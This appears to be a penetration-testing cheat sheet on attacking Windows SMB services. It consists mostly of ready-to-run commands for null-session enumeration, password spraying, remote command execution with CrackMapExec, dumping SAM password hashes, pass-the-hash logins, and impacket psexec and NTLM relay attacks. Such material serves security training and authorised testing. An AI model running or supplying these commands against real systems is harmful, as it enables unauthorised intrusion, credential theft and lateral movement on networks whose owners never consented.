Attacking SMB

Server Message Block (SMB) is a communication protocol created for providing shared access to files and printers across nodes on a network. Initially, it was designed to run on top of NetBIOS over TCP/IP (NBT) using TCP port 139 and UDP ports 137 and 138. However, with Windows 2000, Microsoft added the option to run SMB directly over TCP/IP on port 445 without the extra NetBIOS layer. Nowadays, modern Windows operating systems use SMB over TCP but still support the NetBIOS implementation as a failover.

Enumeration 

sudo nmap <ip-address> -sV -sC -p139,445

Misconfigurations

Anonymous Authentication

If we find an SMB server that does not require a username and password or find valid credentials, we can get a list of shares, usernames, groups, permissions, policies, services, etc. Most tools that interact with SMB allow null session connectivity, including smbclient, smbmap, rpcclient, or enum4linux. Let’s explore how we can interact with file shares and RPC using null authentication.

File Share 

smbclient -N -L //<ip-address>
smbmap -H <ip-address>
smbmap -H <ip-address> --download "<dir>\<file>"
smbmap -H <ip-address> --upload <file-to-upload> "<dir>\<file>"

Remote Procedure Call (RPC) 

rpcclient -U'%' <ip-address>

Enum4linux is another utility that supports null sessions, and it utilizes nmblookup, net, rpcclient, and smbclient to automate some common enumeration from SMB targets such as:

  • Workgroup/Domain name
  • Users information
  • Operating system information
  • Groups information
  • Shares Folders
  • Password policy information
./enum4linux-ng.py <ip-address> -A -C

Protocol Specifics Attacks

Brute Forcing and Password Spray

CrackMapExec 
crackmapexec smb <ip-address> -u /tmp/userlist.txt -p 'Company01!' --local-auth
crackmapexec smb <ip-address> -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
Enumerating Logged-on Users 
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
Extract Hashes from SAM Database 
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
Pass-the-Hash (PtH) 
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
Impacket (PsExec, NTLMrelayx) 
impacket-psexec administrator:'Password123!'@<ip-address>
impacket-ntlmrelayx --no-http-server -smb2support -t <ip-address>